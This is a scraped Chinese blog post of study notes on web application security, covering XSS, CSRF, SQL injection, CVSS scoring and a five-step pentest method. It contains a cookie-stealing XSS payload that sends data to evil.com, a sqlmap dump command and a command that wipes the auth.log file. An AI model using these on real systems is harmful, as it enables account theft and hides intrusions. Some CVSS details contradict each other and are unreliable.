当前位置: 首页 > news >正文

HTB 学习笔记 | 《Web应用安全从入门到精通》P5

在这里插入图片描述

📖 目录

  1. 模块学习总结
  2. 前端漏洞深度解析
  3. 后端架构与安全
  4. 漏洞评分系统(CVE/CVSS)
  5. 实战演练与防御加固
  6. 资源推荐与学习路径

🎉 一、模块学习总结

恭喜完成 《Introduction to Web Applications》 模块!

在这里插入图片描述

以下是整理的核心知识点全景图:

知识框架

领域核心内容
前端基础HTML/CSS/JavaScript、输入验证、响应式设计
前端漏洞HTML注入、XSS(反射/存储/DOM)、CSRF、防御策略(CSP/HTTPOnly)
后端基础Web服务器(Apache/Nginx/IIS)、数据库(SQL/NoSQL)、API(REST/SOAP)
后端漏洞命令注入、SQL注入、文件上传、权限提升
漏洞管理CVE编号、CVSS评分、漏洞生命周期(披露-修复-验证)
实战工具Burp Suite、sqlmap、Wappalyzer、Metasploit

🔥 二、前端漏洞深度解析

1. HTML注入:页面篡改的“画笔”

漏洞原理

用户输入未过滤 → 恶意HTML代码渲染 → 页面内容篡改。
示例

<!-- 用户输入篡改背景 -->  
<input>  
<style> body { background: url('http://evil.com/logo.png'); } </style>  

防御

  • 输入过滤:移除 <, > 等特殊字符。
  • 输出编码:使用 htmlspecialchars()(PHP)或DOMPurify(JS)。

2. XSS:窃取Cookie的“隐形手”

攻击类型对比
类型触发方式攻击场景
反射型XSS恶意链接诱导点击搜索结果页、错误提示页
存储型XSS恶意脚本存入数据库评论区、用户资料页
DOM型XSS前端动态渲染未过滤URL参数操作DOM元素

Payload示例

// 窃取Cookie  
<script>fetch('http://evil.com?cookie='+document.cookie)</script>  

防御

  • CSP策略Content-Security-Policy: script-src 'self'
  • HTTPOnly Cookie:禁止JS访问敏感Cookie。

3. CSRF:冒充用户的“影子操作”

攻击流程
用户登录银行
访问恶意页面
触发转账请求
银行执行转账

防御

  • CSRF Token:每次请求携带唯一令牌。
  • SameSite CookieSet-Cookie: SameSite=Strict

🖥️ 三、后端架构与安全

1. 后端技术栈对比

技术栈组件适用场景
LAMPLinux + Apache + MySQL + PHP中小企业网站、博客
MEANMongoDB + Express + Angular + Node.js全栈JavaScript应用
WINSWindows + IIS + .NET + SQL Server企业级.NET应用

2. 数据库安全

SQL注入防御

漏洞代码

$query = "SELECT * FROM users WHERE id = $_GET['id']"; // 危险!  

修复方案

# Python使用参数化查询  
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))  

🔍 四、漏洞评分系统(CVE/CVSS)

1. CVE与CVSS的关系

  • CVE:漏洞唯一编号(如 CVE-2017-0144)。
  • CVSS:漏洞评分系统(0-10分)。

2. CVSS v3评分详解

评分区间风险等级示例漏洞
9.0-10.0严重EternalBlue (CVE-2017-0144)
7.0-8.9Heartbleed (CVE-2014-0160)
4.0-6.9Path Traversal (CVE-2021-1234)

EternalBlue分析

  • CVSS v3: 8.1(原9.3,因补丁普及调整)
  • 攻击链
    SMB协议漏洞 → 远程代码执行 → 横向移动 → 勒索病毒传播  
    

🛠️ 五、实战演练与防御加固

1. 渗透测试五步法

  1. 信息收集
    • 工具:Wappalyzernmap
    • 目标:识别服务器、框架、开放端口。
  2. 漏洞扫描
    • 工具:NessusNikto
  3. 漏洞利用
    • SQL注入sqlmap -u "http://site.com?id=1" --dump
    • 文件上传:绕过检测(.php.jpg双扩展名)。
  4. 权限提升
    • 提权漏洞:Dirty Cow (CVE-2016-5195)
  5. 后渗透清理
    • 日志清除:shred -n 10 -z /var/log/auth.log

2. 防御加固措施

层级措施工具/技术
代码层输入验证、参数化查询ESLint(静态代码分析)
服务层WAF(Web应用防火墙)ModSecurity、Cloudflare
运维层定期更新、日志监控ELK Stack(日志分析)

🌟 六、资源推荐与学习路径

推荐资源

  1. 书籍
    • 《Web安全攻防》
    • 《白帽子讲Web安全》
  2. 在线课程
    • Hack The Box Academy(实战靶场)
    • PortSwigger Web Security Academy(免费实验)
  3. 工具清单
    • 扫描工具:Nessus、OpenVAS
    • 渗透框架:Metasploit、Cobalt Strike
    • 代理抓包:Burp Suite、Charles

学习路径

  1. 基础:HTML/CSS/JavaScript → 前端漏洞(XSS/CSRF)。
  2. 进阶:后端语言(Python/PHP) → 数据库安全(SQL注入)。
  3. 实战:HTB/TryHackMe靶机 → 漏洞复现与防御。

📌 总结

Web安全是攻防博弈的战场。通过本笔记,你已掌握从前端漏洞后端架构,从漏洞分析实战防御的全链路知识。记住:“安全不是终点,而是持续的过程。”

转发声明:原创内容,转载请注明出处。技术讨论欢迎留言!💬

关联阅读

  • 🔗 OWASP Top 10 2023最新解读
  • 🔗 Burp Suite抓包实战指南

互动问题:你在实战中遇到最有趣的漏洞是什么?分享你的故事!👇


http://www.mrgr.cn/news/94626.html

相关文章:

  • 热key探测技术架构设计与实践
  • 【Agent】OpenManus-Tool 详细分析
  • 嵌入式SDIO 总线面试题及参考答案
  • 编程题-第k个语法符号
  • 树莓派 连接 PlutoSDR 教程
  • C++学习之二叉树
  • 深入理解 JVM 的垃圾收集器:CMS、G1、ZGC
  • Linux mount和SSD分区
  • 《AI大模型趣味实战》No2 : 快速搭建一个漂亮的AI家庭网站-相册/时间线/日历/多用户/个性化配色(中)
  • 五大基础算法——枚举算法
  • IT电子书的网站整理
  • go数据结构笔记
  • Netty基础—6.Netty实现RPC服务一
  • 【AI News | 20250316】每日AI进展
  • 新手村:数据预处理-异常值检测方法
  • 加固脱壳技术:DEX动态加载对抗
  • JS基础部分
  • 1.8PageTable
  • 个人居家 Web移动端 局域网 远程控制电脑 工具 PC遥控器拿去玩吧
  • 特殊 IP 地址